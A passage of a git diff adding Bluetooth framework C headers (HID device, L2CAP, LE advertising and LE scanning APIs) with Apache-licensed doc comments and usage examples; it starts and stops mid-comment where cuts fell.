@ref bt_address_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +if (bt_hid_device_disconnect(ins, &host_addr) == BT_STATUS_SUCCESS) { + // Disconnection initiated +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hid_device_disconnect)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Send a report to the HID host. + * + * Sends a HID report to the connected HID host device. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the peer device, see @ref bt_address_t. + * @param rpt_id - Report ID. + * @param rpt_data - Pointer to the report data. + * @param rpt_size - Size of the report data. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + * + * **Example:** + * @code +uint8_t report_data[] = { report data }; +if (bt_hid_device_send_report(ins, &host_addr, rpt_id, report_data, sizeof(report_data)) == BT_STATUS_SUCCESS) { + // Report sent +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_hid_device_send_report)(bt_instance_t* ins, bt_address_t* addr, uint8_t rpt_id, uint8_t* rpt_data, int rpt_size); + +/** + * @brief Respond with a report to the host's GET_REPORT command. + * + * Sends a report in response to a GET_REPORT request from the host. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the peer device, see @ref bt_address_t. + * @param rpt_type - Report type, see @ref hid_report_type_t. + * @param rpt_data - Pointer to the report data. + * @param rpt_size - Size of the report data. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_hid_device_response_report)(bt_instance_t* ins, bt_address_t* addr, uint8_t rpt_type, uint8_t* rpt_data, int rpt_size); + +/** + * @brief Send local HID device error response to remote HID host. + * + * Send local HID device error response to remote HID host. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the peer device, see @ref bt_address_t. + * @param error - Error code, see @ref hid_status_error_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_hid_device_report_error)(bt_instance_t* ins, bt_address_t* addr, hid_status_error_t error); + +/** + * @brief Perform a virtual cable unplug with the current HID host. + * + * Simulates the physical disconnection of the HID device from the host. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param addr - Address of the peer device, see @ref bt_address_t. + * @return bt_status_t - BT_STATUS_SUCCESS on success; a negative error code on failure. + */ +bt_status_t BTSYMBOLS(bt_hid_device_virtual_unplug)(bt_instance_t* ins, bt_address_t* addr); + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_HID_DEVICE_H__ */ \ No newline at end of file diff --git a/framework/include/bt_l2cap.h b/framework/include/bt_l2cap.h new file mode 100644 index 0000000000000000000000000000000000000000..7e847fc2fd8256e07f05c60fc93b14cabb48ec7e --- /dev/null +++ b/framework/include/bt_l2cap.h @@ -0,0 +1,180 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_L2CAP_H__ +#define __BT_L2CAP_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bluetooth.h" + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +#define INVALID_L2CAP_LISTEN_ID 0xFFFF + +enum { + LE_PSM_DYNAMIC_MIN = 0x0080, + LE_PSM_DYNAMIC_MAX = 0x00FF, + BREDR_PSM_DYNAMIC_MIN = 0x1001, + BREDR_PSM_DYNAMIC_MAX = 0xFFFF, +}; + +typedef enum { + L2CAP_CHANNEL_MODE_BASIC = 0, + L2CAP_CHANNEL_MODE_RETRANSMISSION, + L2CAP_CHANNEL_MODE_FLOW_CONTROL, + L2CAP_CHANNEL_MODE_ENHANCED_RETRANSMISSION, + L2CAP_CHANNEL_MODE_STREAMING_MODE, + L2CAP_CHANNEL_MODE_LE_CREDIT_BASED_FLOW_CONTROL, + L2CAP_CHANNEL_MODE_ENHANCED_CREDIT_BASED_FLOW_CONTROL, +} l2cap_channel_mode_t; + +typedef struct { + uint8_t transport; /* bt_transport_t */ + uint8_t mode; /* l2cap_channel_mode_t, basic or enhanced retransmission mode */ + uint16_t psm; /* Dynamic Service PSM */ + uint16_t mtu; /* Maximum Transmission Unit */ + uint16_t le_mps; /* Maximum PDU payload Size for LE */ + uint16_t init_credits; /* initial credits for LE */ + uint16_t id; /* L2CAP Service socket id */ + char proxy_name[16]; /* Proxy name */ +} l2cap_config_option_t; + +typedef struct { + bt_address_t addr; + bt_transport_t transport; + uint16_t cid; /* Local channel id. */ + uint16_t psm; /* Dynamic Service PSM */ + uint16_t incoming_mtu; /* Incoming transmit MTU. */ + uint16_t outgoing_mtu; /* Outgoing transmit MTU */ + uint16_t id; /* Connected L2CAP Channel socket id */ + // for L2CAP listen only. + uint16_t listen_id; /* New L2CAP Listen socket id, INVALID_L2CAP_LISTEN_ID indicates invalid */ + char proxy_name[16]; /* Proxy name for server */ +} l2cap_connect_params_t; + +/** + * @brief L2CAP connected event callback + * + * @param cookie - callbacks cookie, the return value of bt_l2cap_register_callbacks. + * @param param - L2CAP connection params. + */ +typedef void (*l2cap_connected_callback_t)(void* cookie, l2cap_connect_params_t* param); + +/** + * @brief L2CAP disconnected event callback + * + * @param cookie - callbacks cookie, the return value of bt_l2cap_register_callbacks. + * @param addr - remote addr. + * @param id - L2CAP service socket id, used to identify L2CAP service channel resource. + * @param reason - disconnect reason. + */ +typedef void (*l2cap_disconnected_callback_t)(void* cookie, bt_address_t* addr, uint16_t id, uint32_t reason); + +/** + * @brief L2CAP event callback structure + * + */ +typedef struct { + size_t size; + l2cap_connected_callback_t on_connected; + l2cap_disconnected_callback_t on_disconnected; +} l2cap_callbacks_t; + +/** + * @brief Register callback functions to L2CAP service. + * + * @param ins - bluetooth client instance. + * @param callbacks - L2CAP callback functions. + * @return void* - L2CAP APP handle, NULL on failure. + */ +void* BTSYMBOLS(bt_l2cap_register_callbacks)(bt_instance_t* ins, const l2cap_callbacks_t* callbacks); + +/** + * @brief Unregister L2CAP callback functions. + * + * @param ins - bluetooth client instance. + * @param handle - L2CAP APP handle. + * @return true - on callback unregister success + * @return false - on callback cookie not found + */ +bool BTSYMBOLS(bt_l2cap_unregister_callbacks)(bt_instance_t* ins, void* handle); + +/** + * @brief Listen for a L2CAP connection request + * @param ins - bluetooth client instance. + * @param handle - L2CAP APP handle. + * @param option - L2CAP config option. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t BTSYMBOLS(bt_l2cap_listen)(bt_instance_t* ins, void* handle, l2cap_config_option_t* option); + +/** + * @brief Request L2CAP connection to remote device + * @param ins - bluetooth client instance. + * @param handle - L2CAP APP handle. + * @param addr - remote addr. + * @param option - L2CAP config option. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t BTSYMBOLS(bt_l2cap_connect)(bt_instance_t* ins, void* handle, bt_address_t* addr, l2cap_config_option_t* option); + +/** + * @brief Reqeust to disconnect a L2CAP channel + * @param ins - bluetooth client instance. + * @param handle - L2CAP APP handle. + * @param id - Connected L2CAP Channel socket id. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t BTSYMBOLS(bt_l2cap_disconnect)(bt_instance_t* ins, void* handle, uint16_t id); + +/** + * @brief Stop L2CAP listen + * + * This function used to stop L2CAP listen rather than disconnect all conected + * L2CAP channels for a specific PSM. + * + * @param ins - bluetooth client instance. + * @param handle - L2CAP APP handle. + * @param psm - LE PSM used for listen. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * @note This function is only used for LE transport scenario. + */ +bt_status_t BTSYMBOLS(bt_l2cap_stop_listen)(bt_instance_t* ins, void* handle, uint16_t psm); + +/** + * @brief Stop L2CAP listen with transport + * + * This function used to stop L2CAP listen rather than disconnect all conected + * L2CAP channels for a specific PSM. + * + * @param ins - bluetooth client instance. + * @param handle - L2CAP APP handle. + * @param transport - bt_transport_t, LE or BR/EDR. + * @param psm - PSM used for listen. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t BTSYMBOLS(bt_l2cap_stop_listen_with_transport)(bt_instance_t* ins, void* handle, bt_transport_t transport, uint16_t psm); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/framework/include/bt_le_advertiser.h b/framework/include/bt_le_advertiser.h new file mode 100644 index 0000000000000000000000000000000000000000..3176fb6aa4c8eeff761e07c245d5fbb24c795a4b --- /dev/null +++ b/framework/include/bt_le_advertiser.h @@ -0,0 +1,318 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_LE_ADVERTISER_H__ +#define __BT_LE_ADVERTISER_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bluetooth.h" +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +/** + * @cond + */ + +/** + * @brief Advertising type + * + */ +typedef enum { + /* Auto selection, for compatibility */ + BT_LE_ADV_IND, + BT_LE_ADV_DIRECT_IND, + BT_LE_ADV_SCAN_IND, + BT_LE_ADV_NONCONN_IND, + BT_LE_SCAN_RSP, + + /* Legacy mode */ + BT_LE_LEGACY_ADV_IND, + BT_LE_LEGACY_ADV_DIRECT_IND, + BT_LE_LEGACY_ADV_SCAN_IND, + BT_LE_LEGACY_ADV_NONCONN_IND, + BT_LE_LEGACY_SCAN_RSP, + + /* None-legacy mode */ + BT_LE_EXT_ADV_IND, + BT_LE_EXT_ADV_DIRECT_IND, + BT_LE_EXT_ADV_SCAN_IND, + BT_LE_EXT_ADV_NONCONN_IND, + BT_LE_EXT_SCAN_RSP, +} ble_adv_type_t; + +/** + * @brief Advertising channels + * + */ +typedef enum { + BT_LE_ADV_CHANNEL_DEFAULT, + BT_LE_ADV_CHANNEL_37_ONLY, + BT_LE_ADV_CHANNEL_38_ONLY, + BT_LE_ADV_CHANNEL_39_ONLY +} ble_adv_channel_t; + +/** + * @brief Advertising filter policy + * + */ +typedef enum { + BT_LE_ADV_FILTER_WHITE_LIST_FOR_NONE, /* Scan and Connection requests from ANY devices */ + BT_LE_ADV_FILTER_WHITE_LIST_FOR_SCAN, /* Connection requests from ANY devices; Scan requests from devices in the White List */ + BT_LE_ADV_FILTER_WHITE_LIST_FOR_CONNECTION, /* Scan request form ANY devices; Connection requests from devices in the White List */ + BT_LE_ADV_FILTER_WHITE_LIST_FOR_ALL /* Scan and Connection reqeusts from devices in the White List */ +} ble_adv_filter_policy_t; + +/** + * @brief Start advertising status code + * + */ +enum { + BT_ADV_STATUS_SUCCESS, + BT_ADV_STATUS_START_NOMEM, + BT_ADV_STATUS_START_TIMEOUT, + BT_ADV_STATUS_STACK_ERR, +}; + +typedef void bt_advertiser_t; + +/** + * @endcond + */ + +/** + * @brief Callback for advertising started notification. + * + * This callback is used to notify the application of the adverter handle, ID, and + * start status of the advertiser. It will be triggered in the following cases: + * 1. Advertiser ID allocates failed or the return value of the function "bt_sal_le_start_adv" + * is not "BT_STATUS_SUCCESS" within the advertiser starting event. + * 2. 1 second after the successful notification of the start of LE advertising to the + * Bluetooth protocol stack. + * + * @param adv - Notifies the allocated Advertiser handle. + * @param adv_id - Notifies the allocated Advertiser ID. + * @param status - Notifies the starting status of the advertiser. BT_ADV_STATUS_SUCCESS + * indicates that the advertiser has started successfully. + * + * **Example:** + * @code +void on_advertising_start(bt_advertiser_t* adv, uint8_t adv_id, uint8_t status) +{ + printf("on_advertising_start, adv_id: %d, status: %d\n", adv_id, status); +} + * @endcode + */ +typedef void (*on_advertising_start_cb_t)(bt_advertiser_t* adv, uint8_t adv_id, uint8_t status); + +/** + * @brief Callback for advertising stopped notification. + * + * This callback is used to notify the application of the handle and ID corresponding to + * the stopped advertising. + * + * @param adv - Advertiser handle. + * @param adv_id - Advertiser ID. + * + * **Example:** + * @code +void on_advertising_stopped(bt_advertiser_t* adv, uint8_t adv_id) +{ + printf("on_advertising_stopped, adv_id: %d\n", adv_id); +} + * @endcode + */ +typedef void (*on_advertising_stopped_cb_t)(bt_advertiser_t* adv, uint8_t adv_id); + +/** + * @cond + */ + +/** + * @brief Advertising callback functions structure + * + */ +typedef struct { + uint32_t size; + on_advertising_start_cb_t on_advertising_start; + on_advertising_stopped_cb_t on_advertising_stopped; +} advertiser_callback_t; + +/* * BLE ADV Parameters */ +typedef struct { + bt_address_t peer_addr; /* For directed advertising only */ + uint8_t adv_type; /* ble_adv_type_t */ + uint8_t peer_addr_type; /* ble_addr_type_t, For directed advertising only */ + bt_address_t own_addr; /* Mandatory if own_addr_type is BT_LE_ADDR_TYPE_RANDOM. Ignored otherwise */ + uint8_t own_addr_type; /* ble_addr_type_t, One of BT_LE_ADDR_TYPE_PUBLIC, BT_LE_ADDR_TYPE_RANDOM and BT_LE_ADDR_TYPE_UNKNOWN */ + int8_t tx_power; /* *Range:-20~10 */ + uint32_t interval; + uint32_t duration; + uint8_t channel_map; /* ble_adv_channel_t */ + uint8_t filter_policy; /* ble_adv_filter_policy_t */ +} ble_adv_params_t; + +/** + * @endcond + */ + +/** + * @brief Initate LE advertising. + * + * Before using this function to initiate LE advertising, the Bluetooth application + * should set appropriate LE advertising parameters, prepare advertising data and scan + * response data, and an advertising callback function. When using this function, the + * above content is passed as parameters, and an advertiser handle is returned to indicate + * the initiated advertising. With this handle, the Bluetooth application can disable the + * corresponding advertising at an appropriate time. + * + * @param ins - Bluetooth client instance. + * @param params - Advertising parameter. + * @param adv_data - Advertisement data. + * @param adv_len - Length of advertisement data. + * @param scan_rsp_data - Scan response data. + * @param scan_rsp_len - Length of scan response data. + * @param cbs - Advertiser callback functions. + * @return bt_advertiser_t* - Advertiser handle. + * + * **Example:** + * @code +bt_advertiser_t* adver; + +void app_start_advertising(bt_instance_t* ins) +{ + ble_adv_params_t params; + uint8_t adv_data[10]; + uint8_t scan_rsp_data[10]; + advertiser_callback_t cbs; + + + params.adv_type = BT_LE_ADV_IND; + params.own_addr_type = BT_LE_ADDR_TYPE_PUBLIC; + params.tx_power = -20; + params.interval = 100; + params.duration = 0; + params.channel_map = 7; + params.filter_policy = BT_LE_ADV_FILTER_WHITE_LIST_FOR_ALL; + + memset(adv_data, 0, sizeof(adv_data)); + memset(scan_rsp_data, 0, sizeof(scan_rsp_data)); + + cbs.size = sizeof(advertiser_callback_t); + cbs.on_advertising_start = on_advertising_start; + cbs.on_advertising_stopped = on_advertising_stopped; + + adver = bt_le_start_advertising(ins, ¶ms, adv_data, sizeof(adv_data), scan_rsp_data, sizeof(scan_rsp_data), &cbs); +} + * @endcode + */ +bt_advertiser_t* BTSYMBOLS(bt_le_start_advertising)(bt_instance_t* ins, + ble_adv_params_t* params, + uint8_t* adv_data, + uint16_t adv_len, + uint8_t* scan_rsp_data, + uint16_t scan_rsp_len, + advertiser_callback_t* cbs); + +/** + * @brief Stop LE advertising by advertiser handle. + * + * This function is used to stop the LE advertising indicated by the specified advertiser + * handle. Therefore, before using this function, the Bluetooth application should know + * the handle corresponding to the initiated advertising. When a Bluetooth application + * initiates an advertising, it will be informed of the advertiser handle. + * + * @param ins - Bluetooth client instance. + * @param adver - Advertiser handle. + * + * **Example:** + * @code +void app_stop_advertising(bt_instance_t* ins) +{ + if(!adver) + return; + bt_le_stop_advertising(ins, adver); +} + * @endcode + */ +void BTSYMBOLS(bt_le_stop_advertising)(bt_instance_t* ins, bt_advertiser_t* adver); + +/** + * @brief Stop LE advertising by advertiser ID. + * + * This function is used to stop the LE advertising indicated by the specified advertiser ID. + * Therefore, before using this function, the Bluetooth application should know the ID + * corresponding to the initiated advertising. When a Bluetooth application successfully initiates + * an advertising, the advertiser ID will be informed through the "on_advertising_start_cb_t" + * callback function provided when the advertising is initiated by the application. + * + * @param ins - Bluetooth client instance. + * @param adv_id - Advertiser ID. + * + * **Example:** + * @code +void app_stop_advertising(bt_instance_t* ins, uint8_t adv_id) +{ + bt_le_stop_advertising_id(ins, adv_id); +} + * @endcode + */ +void BTSYMBOLS(bt_le_stop_advertising_id)(bt_instance_t* ins, uint8_t adv_id); + +/** + * @brief Check if LE advertising is supported. + * + * This function is used to check if the Bluetooth protocol stack supports LE advertising for + * Bluetooth applications. + * + * @param ins - Bluetooth client instance. + * @return bool - true represents support for LE advertising, while false represents non-support. + * + * **Example:** + * @code +void app_check_advertising_support(bt_instance_t* ins) +{ + if(bt_le_advertising_is_supported(ins)) + printf("advertising is supported\n"); + else + printf("advertising is not supported\n"); +} + * @endcode + */ +bool BTSYMBOLS(bt_le_advertising_is_supported)(bt_instance_t* ins); + +// async +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_ASYNC +#include "bt_async.h" + +typedef void (*bt_le_start_adv_callback_cb_t)(bt_instance_t* ins, bt_status_t status, void* adv, void* userdata); + +bt_status_t bt_le_start_advertising_async(bt_instance_t* ins, ble_adv_params_t* params, uint8_t* adv_data, + uint16_t adv_len, uint8_t* scan_rsp_data, uint16_t scan_rsp_len, + advertiser_callback_t* adv_cbs, bt_le_start_adv_callback_cb_t cb, void* userdata); +bt_status_t bt_le_stop_advertising_async(bt_instance_t* ins, bt_advertiser_t* adver, bt_status_cb_t cb, void* userdata); +bt_status_t bt_le_stop_advertising_id_async(bt_instance_t* ins, uint8_t adv_id, bt_status_cb_t cb, void* userdata); +bt_status_t bt_le_advertising_is_supported_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata); + +#endif // CONFIG_BLUETOOTH_FRAMEWORK_ASYNC + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_LE_ADVERTISER_H__ */ diff --git a/framework/include/bt_le_scan.h b/framework/include/bt_le_scan.h new file mode 100644 index 0000000000000000000000000000000000000000..c7e01318057062be0c70f34cf32005f86bfef255 --- /dev/null +++ b/framework/include/bt_le_scan.h @@ -0,0 +1,433 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_LE_SCAN_H_ +#define __BT_LE_SCAN_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include <stdint.h> + +#ifdef CONFIG_BLUETOOTH_STACK_LE_ZBLUE +#include <zephyr/bluetooth/bluetooth.h> +#endif + +#include "bluetooth.h" +#include "bt_le_advertiser.h" +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +#define BLE_SCAN_FILTER_UUID_MAX_NUM 2 + +/** + * @cond + */ + +/** + * @brief Scan start status code + * + */ +enum { + BT_SCAN_STATUS_SUCCESS = 0, + BT_SCAN_STATUS_START_FAIL, + BT_SCAN_STATUS_NO_PERMISSION, + BT_SCAN_STATUS_SCANNER_REG_NOMEM, + BT_SCAN_STATUS_SCANNER_EXISTED, + BT_SCAN_STATUS_SCANNER_NOT_FOUND, + BT_SCAN_STATUS_SCANNER_REMOVED +}; + +/** + * @brief Scan mode + * + */ +enum { + BT_SCAN_MODE_LOW_POWER = 0, + BT_SCAN_MODE_BALANCED, + BT_SCAN_MODE_LOW_LATENCY, +}; + +#define SCAN_MODE_LOW_POWER_INTERVAL 0x1000 +#define SCAN_MODE_LOW_POWER_WINDOW 0x100 +#define SCAN_MODE_BALANCED_INTERVAL 0x500 +#define SCAN_MODE_BALANCED_WINDOW 0x140 +#define SCAN_MODE_LOW_LATENCY_INTERVAL 0xA0 +#define SCAN_MODE_LOW_LATENCY_WINDOW 0xA0 + +typedef void bt_scanner_t; + +#ifdef CONFIG_BLUETOOTH_STACK_LE_ZBLUE +#define BT_LE_SCAN_TYPE_PASSIVE BT_LE_SCAN_TYPE_PASSIVE_MODE +#define BT_LE_SCAN_TYPE_ACTIVE BT_LE_SCAN_TYPE_ACTIVE_MODE +typedef enum { + BT_LE_SCAN_TYPE_PASSIVE_MODE = 0, + BT_LE_SCAN_TYPE_ACTIVE_MODE +} ble_scan_type_t; +#else +typedef enum { + BT_LE_SCAN_TYPE_PASSIVE = 0, + BT_LE_SCAN_TYPE_ACTIVE +} ble_scan_type_t; +#endif + +/** + * @brief Scan result structure + * + */ +typedef struct { + bt_address_t addr; + uint8_t dev_type; /* bt_device_type_t */ + int8_t rssi; + uint8_t addr_type; /* ble_addr_type_t */ + uint8_t adv_type; /* ble_adv_type_t */ + uint8_t length; + uint8_t pad[1]; + uint8_t adv_data[1]; +} ble_scan_result_t; + +/** + * @brief Scan filter policy structure + * + */ +typedef struct { + uint8_t policy; +} ble_scan_filter_policy_t; + +/** + * @brief Scan settings structure + * + */ +typedef struct { + uint8_t scan_mode; + uint8_t legacy; + uint8_t scan_type; /* ble_scan_type_t */ + uint8_t scan_phy; /* ble_phy_type_t */ + ble_scan_filter_policy_t policy; +} ble_scan_settings_t; + +/** + * @brief Useless + * + */ +typedef struct { + int scan_interval; + int scan_window; + ble_scan_type_t scan_type; + ble_phy_type_t scan_phy; +} ble_scan_params_t; + +typedef struct { + uint32_t duration; + uint32_t period; + uint16_t uuids[BLE_SCAN_FILTER_UUID_MAX_NUM]; + uint8_t active; + uint8_t duplicated; +} ble_scan_filter_t; +/** + * @endcond + */ + +/** + * @brief Scan result callback function. + * + * Callback function called when a scan result is available. + * + * @param scanner - Scanner handle. + * @param result - Pointer to the scan result, see @ref ble_scan_result_t. + * + * **Example:** + * @code +void le_scan_result_callback(bt_scanner_t* scanner, ble_scan_result_t* result) +{ + // Process scan result +} + +static scanner_callbacks_t lescan_cbs = { + .size = sizeof(lescan_cbs), + .on_scan_result = le_scan_result_callback, +}; + * @endcode + */ +typedef void (*on_scan_result_cb_t)(bt_scanner_t* scanner, ble_scan_result_t* result); + +/** + * @brief Scan start status callback function. + * + * Callback function called when the scan starts or fails to start. + * + * @param scanner - Scanner handle. + * @param status - Scan start status code, see scan status codes. + * + * **Example:** + * @code +void on_scan_status(bt_scanner_t* scanner, uint8_t status) +{ + if (status == BT_SCAN_STATUS_SUCCESS) { + // Scan started successfully + } else { + // Handle scan start failure + } +} + * @endcode + */ +typedef void (*on_scan_status_cb_t)(bt_scanner_t* scanner, uint8_t status); + +/** + * @brief Scan stopped callback function. + * + * Callback function called when the scan is stopped. + * + * @param scanner - Scanner handle. + * + * **Example:** + * @code +void on_scan_stopped(bt_scanner_t* scanner) +{ + // Handle scan stopped event +} + * @endcode + */ +typedef void (*on_scan_stopped_cb_t)(bt_scanner_t* scanner); + +/** + * @cond + */ + +/** + * @brief Scanner callback structure + * + */ +typedef struct { + uint32_t size; + on_scan_result_cb_t on_scan_result; + on_scan_status_cb_t on_scan_start_status; + on_scan_stopped_cb_t on_scan_stopped; +} scanner_callbacks_t; +/** + * @endcond + */ + +/** + * @brief Start BLE scan. + * + * Initiates a BLE scan with default settings. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param cbs - Pointer to scanner callbacks, see @ref scanner_callbacks_t. + * @return bt_scanner_t* - Scanner handle generated by the scan manager. + * + * **Example:** + * @code +bt_scanner_t* scanner = bt_le_start_scan(ins, &my_scanner_callbacks); +if (scanner == NULL) { + // Handle error +} + * @endcode + */ +bt_scanner_t* BTSYMBOLS(bt_le_start_scan)(bt_instance_t* ins, const scanner_callbacks_t* cbs); + +/** + * @brief Start BLE scan with specific settings. + * + * Initiates a BLE scan with provided scan settings. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param settings - Pointer to scan settings, see @ref ble_scan_settings_t. + * @param cbs - Pointer to scanner callbacks, see @ref scanner_callbacks_t. + * @return bt_scanner_t* - Scanner handle generated by the scan manager. + * + * **Example:** + * @code +ble_scan_settings_t settings = { + .scan_mode = BT_SCAN_MODE_LOW_LATENCY, + .scan_type = BT_LE_SCAN_TYPE_ACTIVE, + // Additional settings... +}; +bt_scanner_t* scanner = bt_le_start_scan_settings(ins, &settings, &my_scanner_callbacks); +if (scanner == NULL) { + // Handle error +} + * @endcode + */ +bt_scanner_t* BTSYMBOLS(bt_le_start_scan_settings)(bt_instance_t* ins, + ble_scan_settings_t* settings, + const scanner_callbacks_t* cbs); + +/** + * @brief Start BLE scan with filters. + * + * Initiates a BLE scan with specific settings and filters. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param settings - Pointer to scan settings, see @ref ble_scan_settings_t. + * @param filter_data - Pointer to filter data, see @ref ble_scan_filter_t. + * @param cbs - Pointer to scanner callbacks, see @ref scanner_callbacks_t. + * @return bt_scanner_t* - Scanner handle generated by the scan manager. + * + * **Example:** + * @code +ble_scan_filter_t filter = { + .uuids = {0x180D, 0x180F}, // Heart Rate and Battery Service UUIDs + .active = 1, + // Additional filter settings... +}; +bt_scanner_t* scanner = bt_le_start_scan_with_filters(ins, &settings, &filter, &my_scanner_callbacks); +if (scanner == NULL) { + // Handle error +} + * @endcode + */ +bt_scanner_t* BTSYMBOLS(bt_le_start_scan_with_filters)(bt_instance_t* ins, + ble_scan_settings_t* settings, + ble_scan_filter_t* filter_data, + const scanner_callbacks_t* cbs); + +/** + * @brief Stop BLE scan. + * + * Stops an ongoing BLE scan. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param scanner - Scanner handle generated by the scan manager. + * + * **Example:** + * @code +bt_le_stop_scan(ins, scanner); + * @endcode + */ +void BTSYMBOLS(bt_le_stop_scan)(bt_instance_t* ins, bt_scanner_t* scanner); + +/** + * @brief Check if BLE scanning is supported. + * + * Determines whether BLE scanning is supported by the adapter. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @return true - Scanning is supported. + * @return false - Scanning is not supported. + * + * **Example:** + * @code +if (bt_le_scan_is_supported(ins)) { + // Scanning is supported +} else { + // Scanning is not supported +} + * @endcode + */ +bool BTSYMBOLS(bt_le_scan_is_supported)(bt_instance_t* ins); + +// async +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_ASYNC +#include "bt_async.h" + +/** + * @brief The asynchronous callback for start BLE scan registered by the caller. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param status - Status of the operation. + * @param scan - Scanner handle generated by the scan manager. The caller needs + * to save the handle to use when stopping the scan. + * @param userdata - User context. + */ +typedef void (*bt_le_start_scan_cb_t)(bt_instance_t* ins, bt_status_t status, void* scan, void* userdata); + +/** + * @brief The asynchronous callback for stop BLE scan registered by the caller. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param userdata - User context. + */ +typedef void (*bt_le_stop_scan_cb_t)(bt_instance_t* ins, void* userdata); + +/** + * @brief Start BLE scan. + * + * Initiates a BLE scan with default settings. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param scan_cbs - Pointer to scanner callbacks, see @ref scanner_callbacks_t. + * @param cb - Callback function for asynchronous call. + * @param userdata - User context. + * @return bt_status_t - Only return IPC status. + */ +bt_status_t bt_le_start_scan_async(bt_instance_t* ins, const scanner_callbacks_t* scan_cbs, + bt_le_start_scan_cb_t cb, void* userdata); + +/** + * @brief Start BLE scan with specific settings. + * + * Initiates a BLE scan with provided scan settings. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param settings - Pointer to scan settings, see @ref ble_scan_settings_t. + * @param scan_cbs - Pointer to scanner callbacks, see @ref scanner_callbacks_t. + * @param cb - Callback function for asynchronous call. + * @param userdata - User context. + * @return bt_status_t - Only return IPC status. + */ +bt_status_t bt_le_start_scan_settings_async(bt_instance_t* ins, ble_scan_settings_t* settings, + const scanner_callbacks_t* scan_cbs, bt_le_start_scan_cb_t cb, void* userdata); + +/** + * @brief Start BLE scan with filters. + * + * Initiates a BLE scan with specific settings and filters. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param settings - Pointer to scan settings, see @ref ble_scan_settings_t. + * @param filter_data - Pointer to filter data, see @ref ble_scan_filter_t. + * @param scan_cbs - Pointer to scanner callbacks, see @ref scanner_callbacks_t. + * @param cb - Callback function for asynchronous call. + * @param userdata - User context. + * @return bt_status_t - Only return IPC status. + */ +bt_status_t bt_le_start_scan_with_filters_async(bt_instance_t* ins, ble_scan_settings_t* settings, + ble_scan_filter_t* filter, const scanner_callbacks_t* scan_cbs, bt_le_start_scan_cb_t cb, void* userdata); + +/** + * @brief Stop BLE scan. + * + * Stops an ongoing BLE scan. + * + * @param ins - Bluetooth client instance, see @ref bt_instance_t. + * @param scanner - Scanner handle generated by the scan manager. + * @param cb - Callback function for asynchronous call. + * @param userdata - User context. + * @return bt_status_t - Only return IPC status. + */ +bt_status_t bt_le_stop_scan_async(bt_instance_t* ins, bt_scanner_t* scanner, bt_le_stop_scan_cb_t cb, void* userdata); + +/** + * @brief Check if BLE scanning is supported. + * + * Determines whether BLE scanning is supported by the adapter. + * + * @param 